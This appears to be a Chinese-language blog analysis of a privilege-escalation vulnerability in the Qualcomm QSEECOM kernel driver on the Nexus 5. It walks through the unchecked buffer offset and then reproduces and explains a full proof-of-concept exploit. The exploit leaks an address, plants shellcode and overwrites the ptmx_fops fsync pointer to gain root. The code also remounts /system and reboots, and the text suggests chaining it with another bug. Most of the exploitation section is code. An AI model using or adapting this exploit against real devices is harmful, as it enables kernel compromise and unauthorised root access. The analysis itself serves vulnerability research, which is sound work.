这个漏洞存在于高通QSEECOM驱动中,这个驱动对用户层提供了一个ioctl系统调用接口,但是没有验证ioctl传入的参数中的一些基址和偏移,攻击者可以构造特殊的参数造成信息泄露和权限提升。
漏洞成因这个漏洞的位置在内核源代码drivers/misc/qseecom.c中的__qseecom_update_cmd_buf函数。
下面是nexus 5的android-msm-hammerhead-3.4-kk-r1内核的源代码的链接。
https://github.com/android/kernel_msm/blob/android-msm-mako-3.4-jb-mr2/drivers/misc/qseecom.c
static int __qseecom_update_cmd_buf(struct qseecom_send_modfd_cmd_req *req, bool cleanup) { ... for (i = 0; i < MAX_ION_FD; i++) { struct sg_table *sg_ptr = NULL; if (req->ifd_data[i].fd > 0) { /* Get the handle of the shared fd */ ihandle = ion_import_dma_buf(qseecom.ion_clnt, req->ifd_data[i].fd); if (IS_ERR_OR_NULL(ihandle)) { pr_err("Ion client can't retrieve the handle\n"); return -ENOMEM; } //这里没有校验cmd_req_buf和cmd_buf_offset的大小 field = (char *) req->cmd_req_buf + req->ifd_data[i].cmd_buf_offset; /* Populate the cmd data structure with the phys_addr */ sg_ptr = ion_sg_table(qseecom.ion_clnt, ihandle); if (sg_ptr == NULL) { pr_err("IOn client could not retrieve sg table\n"); goto err; } if (sg_ptr->nents == 0) { pr_err("Num of scattered entries is 0\n"); goto err; } if (sg_ptr->nents > QSEECOM_MAX_SG_ENTRY) { pr_err("Num of scattered entries"); pr_err(" (%d) is greater than max supported %d\n", sg_ptr->nents, QSEECOM_MAX_SG_ENTRY); goto err; } sg = sg_ptr->sgl; if (sg_ptr->nents == 1) { uint32_t *update; update = (uint32_t *) field; if (cleanup) *update = 0; else //这里可以造成任意内存读写 *update = (uint32_t)sg_dma_address( sg_ptr->sgl); len += (uint32_t)sg->length; ... }
这里的req参数是从用户层传入的,req->cmd_req_buf是用户态传入的缓冲区的基地址,req->cmd_buf_offset是缓冲区的偏移值。因为没有对这两个值做校验,所以上面函数的field变量可以被赋为任意地址。sg_dma_address函数返回的是一个固定的物理地址,如0x3 * 。我们可以构造下面的思路来利用这个漏洞:
首先构造恶意参数,通过ioctl触发__qseecom_update_cmd_buf函数,得到0x3 *的准确地址。 再次构造恶意参数,通过iocrl触发__qseecom_update_cmd_buf函数,覆盖ptmx_fops结构体的fsync函数指针。 在0x3 * 处mmap一段空间,放置shellcode。 调用fsync触发内核调用shellcode,完成提权过程。那么用户层如何调用到__qseecom_update_cmd_buf这个函数呢。在qseecom.c中搜索这个函数可以看到在qseecom_send_modfd_cmd中被调用。
static int qseecom_send_modfd_cmd(struct qseecom_dev_handle *data, void __user *argp) { int ret = 0; struct qseecom_send_modfd_cmd_req req; struct qseecom_send_cmd_req send_cmd_req; ret = copy_from_user(&req, argp, sizeof(req)); if (ret) { pr_err("copy_from_user failed\n"); return ret; } send_cmd_req.cmd_req_buf = req.cmd_req_buf; send_cmd_req.cmd_req_len = req.cmd_req_len; send_cmd_req.resp_buf = req.resp_buf; send_cmd_req.resp_len = req.resp_len; ret = __qseecom_update_cmd_buf(&req, false); if (ret) return ret; ret = __qseecom_send_cmd(data, &send_cmd_req); if (ret) return ret; ret = __qseecom_update_cmd_buf(&req, true); if (ret) return ret; pr_debug("sending cmd_req->rsp size: %u, ptr: 0x%p\n", req.resp_len, req.resp_buf); return ret; }
继续搜索qseecom_send_cmd_req的上层调用,可以发现:
static long qseecom_ioctl(struct file *file, unsigned cmd, unsigned long arg) { ... case QSEECOM_IOCTL_SEND_MODFD_CMD_REQ: { /* Only one client allowed here at a time */ mutex_lock(&app_access_lock); atomic_inc(&data->ioctl_count); ret = qseecom_send_modfd_cmd(data, argp); atomic_dec(&data->ioctl_count); wake_up_all(&data->abort_wq); mutex_unlock(&app_access_lock); if (ret) pr_err("failed qseecom_send_cmd: %d\n", ret); break; } ...
这里可以看出,我们使用命令码为QSEECOM_IOCTL_SEND_MODFD_CMD_REQ的ioctl系统调用就可以触发__qseecom_update_cmd_buf函数。需要传入的参数的数据结构如下:
/* * struct qseecom_ion_fd_info - ion fd handle data information * @fd - ion handle to some memory allocated in user space * @cmd_buf_offset - command buffer offset */ struct qseecom_ion_fd_info { int32_t fd; uint32_t cmd_buf_offset; }; /* * struct qseecom_send_modfd_cmd_req - for send command ioctl request * @cmd_req_len - command buffer length * @cmd_req_buf - command buffer * @resp_len - response buffer length * @resp_buf - response buffer * @ifd_data_fd - ion handle to memory allocated in user space * @cmd_buf_offset - command buffer offset */ struct qseecom_send_modfd_cmd_req { void *cmd_req_buf; /* in */ unsigned int cmd_req_len; /* in */ void *resp_buf; /* in/out */ unsigned int resp_len; /* in/out */ struct qseecom_ion_fd_info ifd_data[MAX_ION_FD]; };漏洞利用
这里根据retme7大神的Poc对这个漏洞的利用进行分析。下面是Poc的main函数:
int main(int argc, char *argv[]){ printf("mypid %d\n",getpid()); int ret = -1; int fd = open("/dev/qseecom", 0); if (fd<0){ perror("open"); exit(-1); } void* abuseBuff = malloc(400); memset(abuseBuff,0,400); int* intArr = (int*)abuseBuff; int j = 0; for(j=0;j<24;j++){ intArr[j] = 0x1; } struct qseecom_send_modfd_cmd_req ioctlBuff; // if(0==fork()){ g_pid = getpid(); g_tgid = g_pid; //进程命名 prctl(PR_SET_NAME, "ihoo.darkytools", 0, 0, 0); //QSEECOM_IOCTL_SET_MEM_PARAM_REQ struct qseecom_set_sb_mem_param_req req; req.ifd_data_fd = obtain_dma_buf_fd(8192); req.virt_sb_base = abuseBuff; req.sb_len = 8192; ret = ioctl(fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &req); printf("QSEECOM_IOCTL_SET_MEM_PARAM_REQ return 0x%x \n",ret); ioctlBuff.cmd_req_buf = abuseBuff; ioctlBuff.cmd_req_len = 400; ioctlBuff.resp_buf = abuseBuff; ioctlBuff.resp_len = 400; int i = 0; for (i = 0;i<4;i++){ ioctlBuff.ifd_data[i].fd = 0; ioctlBuff.ifd_data[i].cmd_buf_offset =0; } ioctlBuff.ifd_data[0].fd = req.ifd_data_fd; ioctlBuff.ifd_data[0].cmd_buf_offset = 0;//(int)(0xc03f0ab4 + 8) - (int)abuseBuff; printf("QSEECOM_IOCTL_SEND_CMD_REQ"); ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff); printf("return %p %p\n",intArr[0],intArr[1]); perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n"); printf("ioctl return 0x%x \n",ret); //*(int*)intArr[0] = 0x0; void* addr = mmap(intArr[0],4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,-1,0); printf("mmap return %p \n",addr); *(int*)addr = 0xE3500000; //cmp r0, 0 *((int*)((int)addr+4)) = 0xe1a0f00e; //MOVPC, LR memcpy(addr,shell_code2,400); /* shell_code2 LDR R0,[PC,4] STMDBSP!, {R0} LDMSP!, {PC} .byte 0xb6f79af5 */ int* arr = (int*)addr; for(i=0;i<10;i++){ if(arr[i] == 0xeeeeeeee) arr[i] = (int)MyCommitCred; } //0xc1334e00 b ptmx_fops ioctlBuff.ifd_data[0].cmd_buf_offset = (int)(PTMX_FOPS + 56) - (int)abuseBuff; printf("QSEECOM_IOCTL_SEND_CMD_REQ\n"); ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff); printf("return %p %p\n",intArr[0],intArr[1]); perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n"); printf("ioctl return 0x%x \n",ret); run_obtain_root_privilege(); system("mount -o rw,remount /system"); system("echo root successed! > /system/file.txt"); system("reboot"); /* char * argv1[]={"sh",(char *)0}; int result = execv("/system/bin/sh", argv1); if(result){ perror("execv"); } */ return 0; }
这里首先打开了qseecom驱动,然后分配了一段内存。然后将当前进程命名,之所以这样是方便在后面提权成功后根据进程名找到进程然后将当前进程的级别提升到root。
我们注意到在__qseecom_update_cmd_buf这个函数中有这样一段代码:
ihandle = ion_import_dma_buf(qseecom.ion_clnt, req->ifd_data[i].fd); if (IS_ERR_OR_NULL(ihandle)) { pr_err("Ion client can't retrieve the handle\n"); return -ENOMEM; }
这里是从参数中过得一个共享的内存管理器的句柄,如果获得失败就无法触发下面的逻辑,所以我们首先要构造req->ifd_data.fd这个参数。在retme7的Poc中,下面这段代码就是完成这样的工作。
req.ifd_data_fd = obtain_dma_buf_fd(8192); req.virt_sb_base = abuseBuff; req.sb_len = 8192; ret = ioctl(fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &req); printf("QSEECOM_IOCTL_SET_MEM_PARAM_REQ return 0x%x \n",ret);
这里需要对ion驱动的工作机制有所了解,这里就不详细分析了,主要关注漏洞利用过程。
接下来将abuseBuff的地址赋给了ioctlBuff.cmd_req_buf,在__qseecom_update_cmd_buf函数中作为基地址。然后将偏移cmd_buf_offset设为0。
ioctlBuff.cmd_req_buf = abuseBuff; ioctlBuff.cmd_req_len = 400; ioctlBuff.resp_buf = abuseBuff; ioctlBuff.resp_len = 400; int i = 0; //因为在__qseecom_update_cmd_buf中的MAX_ION_FD的值为4,所以这里要给4个ifd_data的结构体赋值。 for (i = 0;i<4;i++){ ioctlBuff.ifd_data[i].fd = 0; ioctlBuff.ifd_data[i].cmd_buf_offset =0; } ioctlBuff.ifd_data[0].fd = req.ifd_data_fd; ioctlBuff.ifd_data[0].cmd_buf_offset = 0;//(int)(0xc03f0ab4 + 8) - (int)abuseBuff; printf("QSEECOM_IOCTL_SEND_CMD_REQ"); ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff); printf("return %p %p\n",intArr[0],intArr[1]); perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n"); printf("ioctl return 0x%x \n",ret);
通过上面的分析我们知道,第一次使用ioctl系统调用后,ioctlBuff.cmd_req_buf+ioctlBuff.ifd_data[0].cmd_buf_offset的地址中保存了sg_dma_address返回的一个固定地址。因为我们之前将abuseBuff的地址赋给了cmd_req_buf,而intAddr[0]就是abuseBuff的地址,所以第一次调用结束后,intAddr[0]的地址上保存了返回的固定地址。
接下来我们就可以在这个地址上布置shellcode。代码如下:
//*(int*)intArr[0] = 0x0; void* addr = mmap(intArr[0],4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,-1,0); printf("mmap return %p \n",addr); //下面两行代码没有什么用,后面会被覆盖掉 *(int*)addr = 0xE3500000; //cmp r0, 0 *((int*)((int)addr+4)) = 0xe1a0f00e; //MOVPC, LR memcpy(addr,shell_code2,400); /* shell_code2: LDR R0,[PC,4] STMDBSP!, {R0} LDMSP!, {PC} .byte 0xeeeeeeee */ int* arr = (int*)addr; for(i=0;i<10;i++){ if(arr[i] == 0xeeeeeeee) arr[i] = (int)MyCommitCred; }
这里在返回的地址上分配了一段4096字节大的内存,然后后面将shellcode复制到这段内存中。shellcode的代码在上面注释中可以看到,这段代码非常简单,就是将PC+4的地址传递给R0寄存器,然后通过压栈和出栈的操作将R0的值再传给PC。而PC+4的值我们可以在上面看到是0xeeeeeeee,但是这个地址只是个标志,在后面的代码中找到这个标志,然后将它替换为MyCommitCred函数的地址。
所以这段shellcode的功能就是跳转到MyCommitCred函数中执行。因为MyCommitCred函数是在内核态执行的,所以它可以执行任意操作。而这个函数的主要功能就是根据”ihoo.darkytools”找到对应的进程然后将它的uid,gid等值设为0。也就是让当前我们执行提权操作的这个进程提升为root权限。
接下来再次通过ioctl调用替换ptmx_fops结构体中fsync函数的指针。
//0xc1334e00 b ptmx_fops ioctlBuff.ifd_data[0].cmd_buf_offset = (int)(PTMX_FOPS + 56) - (int)abuseBuff; printf("QSEECOM_IOCTL_SEND_CMD_REQ\n"); ret = ioctl(fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &ioctlBuff); printf("return %p %p\n",intArr[0],intArr[1]); perror("QSEECOM_IOCTL_SEND_CMD_REQ end\n"); printf("ioctl return 0x%x \n",ret);
上面代码中PTMX_FOPS就是内核中ptmx_fops这个结构体的地址,在retme7给的POC中是一个硬编码的地址,只能适用于nexus5 4.4.4。不同的机型这个结构体的地址不同,需要在内核符号表中查找这个符号才能获得对应的地址。56就是fsync在这个结构体中的偏移。这样通过触发ioctl系统调用,这个fsync的地址就被替换成了sg_dma_address函数返回的地址,而这个返回地址事先已经被我们布置了shellcode。下一步只需要触发fsync函数就可以执行到shellcode。代码如下:
static int run_obtain_root_privilege() { int fd; int ret; fd = open(PTMX_DEVICE, O_WRONLY); if(fd<=0){perror("ptmx");return -1;} ret = fsync(fd); close(fd); return ret; }
执行成功后,我们当前进程就已经是root权限了。我在我的nexus 5 4.4的系统中测试了这个POC,可以执行到MyCommitCred函数,不过进入这个函数后就卡住了,一直无法返回。测试了很多次,只有一次成功了,我也不太明白具体的原因,还望有经验的朋友能够告知一下。
另外因为这个驱动是需要system权限才能访问的,所以在普通用户权限下无法完成提权的操作。这哥时候可以结合我们上篇文章分析的漏洞,完成从用户权限到system再到root权限的过程。